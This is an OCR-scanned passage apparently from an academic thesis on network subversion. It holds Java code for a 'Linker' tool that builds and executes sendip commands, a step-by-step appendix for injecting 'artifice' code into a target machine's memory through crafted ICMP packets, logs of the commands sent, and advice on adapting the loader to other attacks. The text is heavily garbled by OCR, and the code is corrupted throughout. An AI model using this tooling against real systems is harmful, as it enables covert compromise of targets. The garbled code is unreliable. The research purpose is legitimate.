/1 idiot zeroes for the front to nake sure we have 4 hex digits
tenp = tenp.concat (I nteger.toHexString( (int) payload.length()));
tenmp = tenp.substring(tenp.length() - 4, tenp.length());
conmandLi ne = conmandLi ne. concat (t enp) ;

}

if (type == 2) // add the checksum
conmandLi ne = conmandLi ne. concat (" ABCD") ;

/1 put the final string together

it (type == 1) {
conmandLi ne = conmandLi ne. concat ( payl oadStri ng);

commandLi ne = conmandLi ne. concat ( endPar ans) ;
/'l execute sendip with required paraneters
packet Text . append(comrandLi ne + "\ n");

(Runti me. get Runti ne()).exec(commandLi ne);

}
catch (I OException e) {
e.printStackTrace();

}

return;
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* switchByteO der

*

* This method changes a String s such as "ABCDEFO1" into "O1EFCDAB." This
* String nust be a 4 byte (DWORD) in order for this to work
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*

* String s -- string to be converted.

***************************************************************************/

public String switchByteOrder(String s) {

String tenp = "0000000"; //adds the appropriate nunber of 0's to the
begi nni ng.

tenp = tenp.concat(s);

String st = tenp.substring(tenp.length() - 8, tenp.length());

temp = "";

tenp = tenp.concat(st.substring(6, 8));

tenp = tenp.concat(st.substring(4, 6));

tenp = tenp.concat(st.substring(2, 4));

tenp = tenp.concat(st.substring(0, 2));

return tenp;

/***************************************************************************

* updat eLoadi ngCode

* This method/ procedure is used for updating the | oading code which copies the

* artifice code from the bootstrap loader's buffer into the allocated nenory
space.

* File changesFile -- the packet payload that will be changed

* int copyStart -- the int value for the new address of the bootstrap space

* to be copied from(start)

* int copyEnd -- the int value for the new address of the bootstrap space to

* be copi ed from (end)

* int allocPointer -- the int value for the new address of the allocated buffer
*

space. (this increases as each packet is copied into this
space)
***************************************************************************/
public voi d updateLoadi ngCode(Fil e changesFile, int copyStart,
int copyEnd, int allocPointer) {
copyFi |l e(changesFile, new File("~tenpLCC"));
try {
Vector stringHol der = new Vector();
String s1 ="";
String s2 = ""
int pos = 0;
FilelnputStreamin = new Fil el nput Strean{changesFil e);
I nput St reanReader changesln = new | nput St reanReader (i n, ENCODI NG ;
Buf f eredReader bl = new Buff er edReader (changesln);
while ( (s1 = bl.readLine()) !'= null)
stringHol der. add(sl);
bl. cl ose();
Fi | eCQut put Stream out = new Fi |l eCut put Stream new Fil e("~tenpLLC"));
Qut put StreanWiter changesQut = new CQutput StreamWiter(out, ENCOD NG ;

for (int i =0; i < stringHolder.size(); i++) {
sl = (String) stringHol der.elementAt(i);
if ( (pos = sl.indexOF("\t")) !=-1) {

s2 = sl.substring(pos + 1, sl.length());

sl sl. substring(0, pos);
el se {
s2 = sl.substring(8, sl.length());
sl = sl.substring(0, 7);
}
/1 add values to the relocation file's val ues
if (i ==0) {

String s = Integer.toHexString(copyStart);
s = switchByteOrder(s);
changesQut .write(sl + "\t" + s);

/'l check for the different kinds of entries

if (i ==121) {1/
String s = Integer.toHexString(allocPointer);
s = switchByteOrder(s);
changesQut . write(sl + "\t" + s);

f (i ==2) {
String s = Integer.toHexString(copyEnd);
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s = switchByteOrder(s);
changesQut . write(sl + "\t" + s);
}
if (i < stringHol der.size())
changesQut . write("\r\n");
}

changesQut . cl ose();

}
catch (I Oexception e) {
e.printStackTrace();

copyFil e(new Fil e("~tenpLLC"), changesFile);

IR R R R EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE

*  ButtonHandl er cl ass

*

* This class handles the buttons that are a part of the control

i nt ernal

frane.
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private class ButtonHandl er
i mpl ements ActionLi stener {
public void actionPerforned(ActionEvent e) {
String action = e.getActi onCommand();
if (e.getSource() == buttCont)
proceed = true;
if (e.getSource() == bl)
/] store bootstrap |oader artBuffer address
art Buf fer Address = tf1l.getText();
art Buf f er Addr essSaved = art Buf fer Address;

int sum = hexTol nt (artBufferAddress) + hexTolnt("7E6");

art Buf f er Address = | nteger.toHexString(sum;
bl. set Enabl ed(f al se);

}

if (e.getSource() == b2) {
/1 store second Allocated space address
al |l oc1Address = tf2. get Text();
b2. set Enabl ed(f al se);

}
if (e.getSource() == b3) {
/1 store second Allocated space address
al |l oc2Address = tf3. get Text();
b3. set Enabl ed(f al se);
but t Cont . set Enabl ed(true);
proceed = true;

}

if (e.getSource() == b4) {
/Il store IP1
b4. set Enabl ed(f al se);
fromP = tf4.getText();

}

if (e.getSource() == b5) {
/1l store | P2
tolP = tf5. get Text();
proceed = true;
b5. set Enabl ed(f al se);
but t Cont . set Enabl ed(true);

}

}

/***************************************************************************

*  Main

kkkkkkkkkkkkkkkkkkkkkkkkkkk************************************************/

public static void main(String[] args) {
Li nker app = new Linker();

app.run(); // runs the main thread. You can add nore if you are attacking

/1 nore than one nmachine at a tine.
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using the attack artifice provided by Murray in [MURO3], and the bootstrap loader
provided by Lack in [LACO03]. It should be noted that the IPSEC attack mentioned in the
title refers to the artifice provided by Murray and the attack artifice itself is further
explained in [MURO3]. The following are the steps to take in order to carry out this

APPENDIX C. HOW TO CARRY OUT AN IPSEC ATTACK

This appendix contains the instructions needed to carry out the demonstration

attack.

1.

2.

3.

Ensure the attack/artifice code is in the same directory as the “ByteManipulation.jpx”

project file.

USING THE LINKER/LOADER

Make sure the bootstrap loader was fully loaded before starting the linker.

Start the JBuilder project ByteManipulation which uses the Linker.java file

&0 6 @' JBuilder § - C:/Documents and Settings/Hotroge/Desktop/ByteManip0616/sic/bytemanipulation/Linker.java =
File Edit Search Wiew Project Bun Wizards Took  Window  Help
DS E-[EF s o ~BE L MvicBieoder v |G % h Si- B b - -2e- @ « = &
B2 E B E . - | X[ Linker|
@_ BiyteManipulation.jpsx 32 = sl.substring(8, sl.length(]]); [=]|
Loy Linker java sl = sl.substring(0, 7):
'
pos = hexToInt(sl):
relocate [inputFile, pos, s2);
'
'
{3 Imports - catch (I0Exception e) {}
= @ Linker 1
------ % Thread
...... S Linker()
------ * callTableReloc *  run method
------ % convertEncodir *
""" : copyF!Ie(Flle L * This is the main run method for the thread, which has all of the main
""" N CDpﬁFil;Frag.rr * acrivities for the linker loader. Changes should be made to this if the
______ - ;ir\iseinndcgorl':l * mumber of buffer spaces changes (more strict memory requirements). Right JiE)
______ % fileHexToStrine * now the filenames are hardcoded in, but this could change if the user
______ 5 hexToInt(StrinE * desires a pop-up box to specify the file names.
------ % jumpTableRelo ’ ’ !
...... LY main(String[] a public woid runi() !
* pauseAttack(h /7 Hisc /7
------ > relocate(File in createEncodingExanpleFile (new File("teatEncoding™)); // this iz a nice utility to see whic
......  relocateFile(Fil 44 the anenified enondine. . i
------ % relocateFileBy, : :
...... * runf) Linker.java Insert 984:17 - CUA - -
a * Hl ;H Source | Design | Bean | Doc | History

4. Compile and run the java runnable class, “Linker.java”, by clicking on the green

arrow or by pressing the F9 key.
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(8080 =)

File Help

Subversion Messages Subversion Cantro
Continue

Attacker's IP 131.12011.145 Store IP1
Target IP 131.120.10.142 Store IP2
_==r————
artBuffer pointer + 0214  [FAGO0AEA Store Addr1
Allocated Memaory 1 FF5F3008 Store Addr2
Allocated Memory 2 FFaF5008 Store Addr3

Packets Sent
rack the packets you send out here

5. Start the packet sniffing utility, for example, Ethereal.

b d root® biscuit~

File Edit View Terminal Go Help
[root@biscuit root]# ethereal & |2
[1] 15958
[root@biscuit root]# I
)
&
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6. In the control pane, enter in the target and attack machines’ ip addresses and assign
these values by clicking the corresponding button.

=)

Subversion Control -

Continue

Attacker's IP

131120111445

Store 1IP1

Target IP

artBuffer pointer + 0x1A

13112010142
- = | = " = |
FAGOOABA,

Store IP2

Store Adidr1

Allocated Memaory 1 FFaF3008

Store Addr2

FFaF5008

Allocated Memony 2

Store Addr3

Packets Sent ©

7. Press the continue button located in the control pane to step through the memory
allocation portion of the Linker’s execution until the Continue button is no longer

enabled.

ece

=3

File Help

Subversion Messages

Subversion Control -

- Phase 1 i)

Comrencing Phase 1: finding mermory

Start sniffing packets now.

Copying a fragment of phase1 Getemory.exe into phase1Shortened.exe specified by
Sending packet with payload "phasel Shorened.exe” of type 1

Sending packet with payload "findMemSetTrigger.dat’ of type 2

Sending packet with payload "indMemRunTrigger.dat’ of type 3

Sending packet with payload "indMemRunTrigger.dat’ of type 3

Done with Phase 1, press continue to go to Phase 2

I Phase 2 ff
Commencing Phase 2: loading and relocation
Wow, stop capturing packets, take the addresses from the two ICMP packets and place|

89

Continue
Attacker’s IP 131.120.11.145 Store IP1
Target IP 131.120.10.142 Store P2
(S e |
artBuffer pointer + 0x14 [FAGODABA Store Addr1
Allocated Memony 1 FFaF3008 Store Addr2
Allocated Memony 2 FF&F5008 Store Addr3

Packets Sent

rack the packets you send out here e

sendip -v-d 0x04030201510004F 300306831 4d460068a00f00006a00h3a06a5380f
sendip -v-d 0x04030201582080430004ABCD -pipvd -is 131120011145 -id 131,120
sendip -v-d 0x0403020189000000 -pipvd -is 13112011145 -id 13112010142 -p
sendip -v-d 0x0403020183000000 -pipvd -is 13112011145 -id 13112010142 -p




8. Stop the packet sniffer, use a filter if necessary, and find the two separate ICMP

packets with the allocated memory addresses in them. Each packet contains two
addresses in reverse byte format, the first being the allocated memory space’s first
address, and the second being the pointer to the artBuffer area. These addresses are
delimited by ‘0xAA’ byte values and should not be hard to find

bd <capture> - Ethereal '

File Edit Capture Display Toals Help

Mao. . |Time |S|:|ur|:e IDestinatiun IF'ru:ntu:ncu:nI Ilnfo

48 10,722007 192,188, 239,255,255,250 IGHP V2 Membership Report
B0 11,996728 192,183, 192,168,1,2 NS Standard query unknown <Unknow

1.2
1.1
E1 11.937067 192,1E8.1.2 182,1688,1.1 ICHP Unknown ICMP {obsolete or malf
Ed 13,041327 192,168,1,1 152,168.1.2 M5 Standard query[Malformed Packe
ES 13,041583 192,.168,1,2 152,168.1.1 ICHP Unknown [CHP {obsolete or malf
EY 14,098337 192,163,1.1 192,168,1,2 NS Standard query[Malformed Packe
ES 14,083626 192,168,1.2 182,168,1.1 ICHP Unkrnown ICMP {obsolete or malf
14, g.1.1 152,168.1.2 IS Standard query[Malformed Packe
g 1,2 1592, ] ALl ] Unkrown ICMP (obsolete o

[«] I : [2]

Frame 70 (90 on wire, 90 captured)

Ethernet 11

Internet Protocol, Sec Addr: 192,169,1.2 (192,168,1,2), Dst Addr: 192.168,1,1 (192,168.1.1)
Internet Control Message Protocol

[«] [»

nooo 00 ch a8 83 83 22 00 a0 d2 1c 91 o2 08 00 45 00 L. .iies sasaeaBEa
o010 00 4o 02 c2 00 00 80 01 b4 9b o a8 01 02 o0 a8 Jlaievas suvrsnas
o020 01 01 3F 00 d3 81 00 00 00 00 aa U5 50 5F FF 83 suTisvaes savesoas
0030 ba Ua BO Fa aa BB 00 00 00 00 00 00 00 00 00 00 L, " .60, suus
0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D0 L iies sesasaas
00RO 00 00 00 00 00 00 00 00 0D 0o e s

ip.addr == 192 168.1.2 File: <capture= Drops: 0

s

LI-!

9. Enter these values in their respective fields, and set them to their variables by clicking
on the corresponding buttons. (Note: though they are sent in reverse byte order, it is
important to place them in normal byte order when entering them)

W

O

Subversion Control

Attacker's IP 131.120.11.145

Target IP 13112010142
|
artBuffer pointer + 0%1A  |[FABODABA Store Addr1

Allocated Memory 1 FFaAF3003 Store Addr2

Allocated Memory 2 FFaFa00a Store Addr3

{ e BECOUREER SR
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10. Step through the remainder of the Linker’s execution by clicking the continue button
repeatedly until all of the artifice code has been relocated and has triggers set to its

functions.

0o

File Help

Subversion Messages

Subversion Control

e e e Phase 1 —--emeeeeeeeee s I

Commmencing Phase 1: finding memaory

Start sniffing packets now.

Copying a fragment of phasel Gethemoary.exe into phase1Shorened.exe specified by
Sending packet with pavload "phasel Shortened exe” of type 1

Sending packet with payload "findMemSetTrigger.dat’ of type 2

Sending packet with payload "findMemRunTrigger.dat’ oftype 3

Sending packet with payload "findMermRunTrigger.dat' of type 3

Daone with Phase 1, press continue to go to Phase 2

R Phage 2 --------seemeee e It

Commencing Phase 2: loading and relocation

Mo, stop capturing packets, take the addresses from the twa ICMP packets and place
Copying a fragrment of phase2ByteCopy. exe into phase2CopyShortened. exe specified
Copying a fragment of attack exe into attackFileShort! specified by attackFileShartent
Copying a fragment of attack.exe into attackFileShort2 specified by attackFileShortenz
Relocating attackFileShort1 using relocations specified in ~tempAF

Relocating attackFileShort2 using relocations specified in ~tempAF

Relocating attackFileShort1 using relocations specified in ~tempdT

Dividing attackFileShort! into packets of size 1200 with header file phase2CopyShore
Relocating ~temp1 using relacations specified intempRelocations

Sending packet with payload "~temp1" oftype 1

Sending packet with payload "findMemRunTrigger.dat’ oftype 3

Dividing attackFileShort2 into packets of size 1200 with header file phase2CopyShone
Relocating ~temp2 using relocations specified intempRelocations

Sending packet with payload "~termp2" of trpe 1

Sending packet with payload "findMermRunTrigoer.dat' of type 3

Copying a fragment of phaseZealltable.exe into callTahleShort specified by callTahles
Relocating callTahleShort using relocations specified in ~tempCT

Sending packet with pavload "callTahleShort' of type 1

Sending packet with payload "sefTrigoer3” of type 2

Sending packet with payload "sefTrigoerd” of type 2

Sending packet with payload "sefTrigogers" of type 2

Continue
Attacker's IP |131 12011.145 Stare IP1
Target IP 13112010142 Store P2

artBuffer pointer + 0x1A  |FAGO0ABA Store Addr1
Allocated Memory 1 FFaF3008 Store Addr2
Allocated Memaory 2 FFaFs00& Store Addr3

Packets Sent

rackthe packets you send out here

sendip -v-d 0x04030201810004F2003062314d460062a00M00006200093 0635380
sendip -v-d 0x0403020182090430004ABCD -p ipvd -is 131.120.11.145-id 131.120.
sendip -v-d 0x0403020189000000 -p ipwvd -is 131.120011.145-id 13112010142 -p
sendip -v-d 0x0403020189000000 -p ipwvd -is 131.120011.145-id 13112010142 -p
sendip -v-d 0x04030201810004F30109h3ch1260faba08305fhead 360fa30908090
sendip -v-d 0x0403020189000000 -p ipwvd -is 131.120011.145-id 13112010142 -p
sendip -v-d 0x04030201810004F300fab3ch1260fabal8505fMheda1 360f330909040
sendip -v-d 0x0403020183000000 -p ipwd -is 131.120011.145-id 13112010142 -p
sendip -v-d 0x04030201810004F9006830909090ha24305fT892ah8 283051039
sendip -v-d 0x04030201820204fd0004ABCD - ipvd -is 13112011145 -id 131.120.
sendip -v-d 0x040302018204050d0004ABCD -p ipvd -is 131120111458 -id 131120
sendip -v-d 0x04030201 8205051 d0004ABCD -p ipvd -is 131120111458 -id 131,120

11. Close the Linker and the ByteManipulation project/JBuilder program.
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APPENDIX D. HOW TO USE THE LINKER/LOADER WITH AN

ATTACK OTHER THAN IPSEC

This appendix contains a description of how to configure the linker/loader for an

attack other than the IPSEC attack that was demonstrated using the work of this thesis as
well as [LACO3] and [MURO3]. There are a number of decisions that must be made in

order to make the attack a successful one. Once these have been answered, the rest of the

configuration can be completed easily. These include:

How many memory allocations are to be made?

Which allocated memory space will ultimately hold the jump table?

What is the network to be used in the attack?

How many triggers should be set and to which functions?

How will the stack be used?

What portions of the final executable should be sent to the target machine?

Will any state need to be saved or data fields reserved in the Jump table,

prior to a function being called, in order for the artifice to work correctly?

Next, it should be noted that there are several areas of the linker/loader that must

be changed in order to configure a different kind of attack. Some of these are in

configuration files, some are in the code itself. Though the code was not made as general

purpose as it could have been, the hard coded areas that should be changed in order to

support a different kind of attack are few and relatively easy to configure for the new

attack. The general areas that must be changed are listed below and are explained further

in the rest of the appendix:

Jump table
Call table

Relocation files
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Once these questions have been answered, and the artifice has been designed, the
difficult part becomes debugging the execution of the artifice. This appendix will further

discuss the various issues associated with debugging, for example:
* How to use SoftICE to debug the artifice

*  Whether or not the linker/loader was used correctly to load it

A. DECISIONS TO MAKE

Of the three areas above, the first area we should discuss are the questions
concerning how the attack will be setup and the framework established for the new
artifice. The first question that should be answered is that of how many memory
allocations will be made to carry out the attack. In the IPSEC attack, two allocations
were made, both 4 KB apiece. This was not necessary because the attack did not take up
very much memory, (~150 bytes) and two were used simply to demonstrate that it could
be done in two spaces using the jump table. In a situation where memory is at a
premium, or the artifice is very large, it is probably necessary to allocate smaller amounts
of memory. The jump table provided a link between functions and data in the other
allocated memory area and thus, provides a means to allocate and use one memory area
for every function you have, plus one for the jump table. The jump table was also useful
for placing global data in a place known to all of the functions. In the IPSEC attack, two
functions were placed in the first memory area, along with the jump table, and the last
two functions were placed in the second allocated memory area. In deciding how to
place the different functions, it is useful to make a diagram of which functions will go in
which allocated memory spaces. This will give the user a better idea of how to configure

the attack.

The next question that should be answered is whether or not to place the jump
table in its own allocated m